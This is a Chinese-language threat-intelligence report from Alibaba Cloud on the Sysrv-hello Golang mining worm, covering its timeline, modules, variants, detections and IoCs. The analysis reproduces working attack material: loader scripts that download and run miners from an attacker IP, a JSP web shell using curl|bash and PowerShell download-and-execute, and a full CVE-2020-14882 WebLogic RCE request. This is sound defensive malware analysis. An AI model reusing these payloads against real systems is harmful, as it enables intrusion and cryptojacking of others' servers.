Sysrv-hello挖礦樣本初現
事件背景
阿里云云安全中心,針對雲上海量樣本進行持續監控,對奇異樣本進行自動捕獲標定和分析。本月初,發現一例具有持久化功能的樣本,具有與此前已知程序文件的差異特性,經過分析,屬於一款新型挖礦支持組件,且處在爆發初期。鑑於該樣本的特徵路徑以及特徵代碼,暫時將其命名為Sysrv-hello。
Sysrv-hello樣本特性
· 該樣本服務於挖礦行動,兼具蠕蟲、爆破、木馬、後門等多種特性,漏洞利用與爆破方式、功能集成性不同於以往已知樣本;
· 經過對該樣本的特徵分析與關聯樣本檢索,發現該樣本非孤立樣本,而是一個本月新出現投放,並在早期積極迭代變換的挖礦活動;
· 藉助Golang,該家族跨越Linux與Windows平臺,通過陸續集成的多種最新漏洞與應用的攻擊方式,具備很強傳播性。
時間線
· 12月3日:13時15分
最早發現的0號Linux樣本(md5=ead2cf8ab7aef63706b40eb57d668d0a)在雲上首次出現,影響大量用戶機器,影響面較大;
· 12月6日
捕獲到該家族第1號變種族於9:30開始投放,面向Linux免殺,且投放量非常剋制,當日共捕獲到4例樣本,每個樣本僅傳播到1-2臺主機
· 12月7日
該樣本在VirusTotal上首次由外部上傳;
· 12月15日
發現該樣本2號Linux變種家族的第一個樣本在16:15投遞到少量主機試水,之後第二個樣本在18點較大範圍傳播;
· 12月16日:23點
首次發現該樣本的3號變種族,之後至少到19日仍持續有子變種出現,且持續有活躍的投遞與傳播,所有樣本均有一定的傳播影響面,是該類型到目前為止最活躍的族系;
· 12月22日:14時30分
截至14:30,VirusTotal全部62款商業殺毒引擎均未報毒。
修復建議
Sysrv-hello目前還處在擴散初期,儘管有快速迭代、不斷集成最新的攻擊方式,但傳播面還不夠大,初期的檢測防禦對於惡意行為防禦更有意義。
當前對於該家族的核心樣本Sysrv主程序,以及投遞的挖礦程序,阿里云云安全中心均已默認可檢出,所有云主機用戶可關注是否存在病毒檢測告警,並及時關注應用環境是否存在漏洞未修復、弱密碼等問題。
對購買雲安全中心的用戶,當前各種檢測模型已可多維度檢測關聯入侵行為,給出實時告警;同時全部病毒樣本以及後續變種均已支持文件精準防禦以及行為防禦。
以下是對該惡意樣本的一手分析報告:
0號樣本分析
靜態逆向
該樣本為Linux 64位程序,使用Golang開發並用UPX 3.94加殼,未做額外混淆,脫殼前後大小為4,634,788B/8,687,768B,本地編譯路徑為 :/media/psf/AllFiles/Users/mac/go/src/hello/src。樣本並未完全去除文件路徑等元信息。
根據子目錄,樣本主要有如下五部分功能組件:
【 Scan 模塊 】
掃描器組件是該樣本從main.main入口執行的最外層功能,由此再下一步調用其它功能。
【 Gateway 模塊 】
Gateway模塊由SYN掃描器調用,提供Linux網關探測能力。
【 Nu 模塊 】
Nu模塊為其它功能模塊提供基礎功能實現(network utility),包括最基礎的字符串操作、端口探測、日誌等;同時封裝了shell命令執行功能。
【 Exp 模塊 】
Exp模塊包含多個漏洞利用做橫向移動的能力,在進行端口掃描之後執行。在該樣本中,會嘗試對Mysql、Tomcat、WebLogic的應用主機探測觸發RCE漏洞。
【 Work 模塊 】
Work為直接控制挖礦的代碼模塊,持久化判斷挖礦任務存活,釋放並解壓縮程序中內嵌的xmrig挖礦程序本體gzip包:
行為分析
初始化和準備階段,樣本運行時首先會監聽本地的,52013端口,此端口作為互斥量,防止自身重複啟動。
然後初始化端口掃描模塊,包括逆向可見的syn,tcp兩種掃描方式:
然後將當前的掃描方式寫入文件./flag.txt中。
第二步,釋放xmrig挖礦模塊,並啟動,釋放的完整路徑是 /tmp/network01
啟動參數是:
./tmp/network01 -B --donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux.
礦池地址是:
49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux
第三步,隨機生成ip地址,進行端口掃描:
會掃描包括Mysql、Tomcat、WebLogic服務,並自動進行漏洞利用和爆破。具體漏洞利用和爆破細節見下文。
第四步,如果獲取到目標系統的shell,會首先從 http://185.239.242.71/ 下載腳本和xmr挖礦程序:
腳本 http://185.239.242.71/ldr.ps1 的內容如下:
$cc = "http://185.239.242.71"
$is64 = ((Array)[0].AddressWidth -eq 64)
$xmr = "$cc/xmr32.exe"
if ($is64) {
$xmr = "$cc/xmr64.exe"
}
(New-Object Net.WebClient).DownloadFile($xmr, "$env:TMPnetwork01.exe")
if (!(Get-Process network01 -ErrorAction SilentlyContinue)) {
Start-Process "$env:TMP\network01.exe" "--donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.w" -windowstyle hidden
}
(New-Object Net.WebClient).DownloadFile("$cc/sysrv.exe", "$env:TMPsysrv.exe")Start-Process "$env:TMPsysrv.exe" -windowstyle hidden
腳本 http://185.239.242.71/ldr.sh的內容如下:
#!/bin/bash
get() {
curl -fsSL "$1" > "$2" || wget -q -O - "$1" > "$2" || php -r "file_put_contents('$2', file_get_contents('$1'));" chmod +x "$2"
}
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /# kill hich cpu usage proc
ps axf -o "pid %cpu" | awk '{if($2>=50.0) print $1}' | while read pid; do
cat /proc/$pid/cmdline | grep -a -E "sysrv|network01" if [ $? -ne 0 ]; then kill -9 $pid fi
done
ps -fe | grep network01 | grep -v grep
if [ $? -ne 0 ]; then
echo "no miner runing" if [ $(getconf LONG_BIT) = '64' ]; then echo "downloading xmr64..." get "$cc/xmr64" network01 else echo "downloading xmr32..." get "$cc/xmr32" network01 fi nohup ./network01 1>/dev/null 2>&1 &
fi
ps -fe | grep sysrv | grep -v grep
if [ $? -ne 0 ]; then
echo "no sysrv runing" get "$cc/sysrv" sysrv nohup ./sysrv 1>/dev/null 2>&1 &
fi
同時,自帶有一個弱口令字典,會自動進行爆破
目標服務漏洞利用與爆破方式
【 Mysql 】
通過弱口令登錄成功之後,先首先判斷系統版本以及平臺,最後嘗試寫入32位或者64位的udf來進行任意命令執行。
【 Tomcat 】
嘗試爆破Tomcat的管理頁面的用戶名和密碼:
如果爆破成功,就嘗試向服務器上上傳war包進行項目部署來getshell。
war包本質上是一個壓縮包,壓縮包的內容為:
解壓出來有一個1.jsp文件,內容如下:
<%@ page import="java.io.*" %>
<%
try {
String w = request.getParameter("win"); String l = request.getParameter("linux"); String[] cw = {"cmd", "/c", "powershell iex(New-Object Net.WebClient).DownloadString('" + w + "')"}; String[] cl = {"bash", "-c", "(curl -fsSL " + l + " || wget -q -O - " + l + ") | bash"}; if (System.getProperty("os.name").toLowerCase().contains("win")) { Runtime.getRuntime().exec(cw); } else { Runtime.getRuntime().exec(cl); }
} catch (IOException e) {}
// remove self
File f = new File(request.getSession().getServletContext().getRealPath("/"));
new File(f.getParent() + File.separator + f.getName() + ".war").delete();
out.print("1");
%>
【 WebLogic 】
利用cve-2020-14882漏洞進行getshell,發送的payload如下:
GET /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%%20currentThread=(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%%20req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String%%20cmd=req.getHeader("cmd");String[]%%20cmds=System.getProperty("os.name").toLowerCase().contains("win")?new%%20String[]{"cmd.exe","/c",req.getHeader("win")}:new%%20String[]{"/bin/sh","-c",req.getHeader("linux")};if(cmd!=null){String%%20result=new%%20java.util.Scanner(new%%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%%5C%%5CA").next();weblogic.servlet.internal.ServletResponseImpl%%20res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);work.getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream(result));work.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O - %s) | bash& )
win: start powershell iex(New-Object Net.WebClient).DownloadString('%s')
一個payload兼容Linux和Windows操作系統。
家族演進跟蹤
在發現該家族之後,我們基於雲上全量樣本的相似度檢索,發現了前述0號樣本的關聯相似樣本,證明此次並非一個試水的投放或已知樣本的技術演進。根據樣本技術特性,可以將該樣本的發展標註到4個主要節點,證明該挖礦家族的發展是其初期快速擴張和迭代的階段。
0號樣本
這就是前文分析的樣本。最早在12月3日在雲上發現。
約相同時間,雲上捕獲了該樣本的Windows版本,md5=030231d96234f06ae09ca18d621241e5。
該樣本與Linux樣本基本同源,僅適配Windows有若干必要的調整,包括:去除挖礦程序的釋放控制功能(僅限Linux版本);掃描器與payload的載入方式等。
1號變種族
此類樣本觀察到最初於6日9:30開始投放,僅在6-7日進行投放,且投放量非常剋制,當前已捕獲到共4例樣本,每個樣本僅傳播到1-2臺主機。
這階段的免殺方式為,將原始Sysrv樣本加殼後,作為數據嵌入在另外的loader程序中,釋放後載入生效;嵌入的樣本摳出脫殼後,md5=750644690e51db9f695b542b463164b9。
除此以外,樣本本體並未發現明顯差異。
因為此家族僅為0號樣本在Linux平臺的特殊免殺變種,因此在Windows平臺的同源更新版本樣本,與0號Windows樣本沒有顯著差異。
2號變種族
此類樣本在15日發現投遞,其中Linux家族第一個樣本在16:15投遞到少量主機試水,之後第二個樣本在18點較大範圍傳播。此類Linux樣本相比0號樣本,去掉了內嵌壓縮挖礦程序釋放執行的邏輯,從而顯著減小樣本體積到2MB以內;同時對功能實現代碼做了少量改寫,包括Tomcat的爆破方式等。
該子家族的Windows版本與Linux保持一致;因為Linux版本完全去除了自帶嵌入的挖礦程序的邏輯,Windows版本也同步去除了gzip解壓縮的包引入(此前實際也並無作用,僅為同一套代碼的引入),文件體積有所縮小。
3號變種族
該變種族最早在16日23點首次發現,之後至少到19日仍持續有子變種出現,且持續有活躍的投遞與傳播,所有樣本均有一定的傳播影響面,是該類型到目前為止最活躍的族系。
在蠕蟲功能方面,從此類變種開始新增了對Jenkins的探測與定向爆破功能。除此以外,該類家族基本保持與2號的繼承性,但每個樣本均在功能實現的主要代碼中,引入了少量局部的代碼重構,從而降低關鍵代碼的整體相似度,疑似用於規避樣本模糊匹配的分析方法。
關聯事件與告警
對此事件,阿里云云安全中心已經對攻擊鏈路中的主要節點具備檢測和防禦能力。
對經由Mysql投遞ldr腳本,當前可檢測到進程的異常操作指令,精準防禦可進行進程行為攔截:
對Tomcat進入的方式,檢測到Java執行異常指令:
對於Sysrv程序的訪問中控IP,具有實時檢測能力:
對於Sysrv橫向移動的動作,檢測到對外發起登錄掃描:
對Sysrv程序本體,按照後門程序/蠕蟲病毒類別識別告警,在開啟防禦的主機可疑精準防禦:
對於ldr惡意腳本,具有實時判黑告警:
對挖礦程序本體,始終具有檢測能力,並在開啟防禦的主機上,直接進行精準防禦:
對挖礦程序的礦池通信網絡行為,具有對應的告警和關聯信息佐證:
對Sysrv進程殘留的持久化方式,具有定時掃描檢測:
IoC
ead2cf8ab7aef63706b40eb57d668d0a
a45c5b97068a709c92aa2fb73cc39d29
bb15e4c273044a5e714acec991dde4b4
4736f80b88c60d2b650dd7273b437d0f
e7b1ee6578b88e1c2650982d35a0bbfc
e9317adace503cefa02007579eb1c621
ec773867cf1cc0479e57eae020f6f399
f4c90b41126fc17848bd0d131288bd36
58a05154e0a702843b8304ccfd79ba2f
7f9abe219ae8dd4e338bd2a9fcaf2e05
301a0a58dd98ecbbe12c6acbd0c7bbdc
030231d96234f06ae09ca18d621241e5
4b22a05d547d0345f91ba9f5fb1f012c
0af416fb7a7e164ddd90da14d116c07e
bbe3e53b19548d093c8405847828a64d
cae2b58fc73551901a70465fa46ea23c
d8816891b21d83c318818ebc32e9609d
642d73c85e6e79720a5ae7b82fc427c5
http://185[.]239[.]242[.]71/ldr.sh
http://185[.]239[.]242[.]71/ldr.ps1
點擊鏈接 https://www.aliyun.com/product/sas?spm=5176.19720258.J_80...0.173.54212c4aaqT6eQ
一鍵獲取雲安全中心精準防禦